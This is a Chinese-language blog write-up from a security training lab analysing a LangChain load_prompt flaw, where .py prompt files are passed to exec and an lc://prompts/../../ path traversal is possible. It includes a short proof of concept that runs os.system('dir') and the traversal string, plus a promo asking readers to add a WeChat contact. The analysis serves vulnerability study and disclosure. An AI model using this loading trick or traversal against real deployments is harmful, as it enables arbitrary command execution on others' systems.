头图

漏洞简介

LangChain是一个用于开发由语言模型驱动的应用程序的框架。

在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。

漏洞复现

在项目下编写 test.py

from langchain.prompts import load_prompt
if __name__ == '__main__':
    loaded_prompt = load_prompt("system.py")

同级目录下编写 system.py​ 执行系统命令 dir

import os
os.system("dir")

运行 test.py​ 返回了执行系统命令dir​的结果

image

漏洞分析-_load_prompt_from_file

langchain.prompts.loading.load_prompt

imagetry_load_from_hub​ 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file

langchain.prompts.loading._load_prompt_from_file

image_load_prompt_from_file​ 根据文件的后缀,当后缀是 .py​ 时 最终会读取该文件并利用 exec​ 去执行

【----帮助网安学习,以下所有学习资料加vx:yj009991,备注“思否”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

也就相当于,代码可以简写为

if __name__ == '__main__':
    file_path = "system.py"
    with open(file_path, "rb") as f:
        exec(f.read())

漏洞分析-try_load_from_hub

因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析

from langchain.prompts import load_prompt

if __name__ == '__main__':
    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py")

langchain.prompts.loading.load_prompt

imagelangchain.utilities.loading.try_load_from_hub

image首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)")​ 所以需要满足最开始是 lc://

然后对后面的内容进行匹配,要求第一个字段的值是 prompts​ 最后的后缀要在 {'py', 'yaml', 'json'}​ 中

image最后拼接请求的url 可以通过 ../../../​ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行

漏洞小结

在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。

更多网安技能的在线实操练习,请点击这里>>


蚁景网安实验室
53 声望45 粉丝

蚁景网安实验室(www.yijinglab.com)-领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ;内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。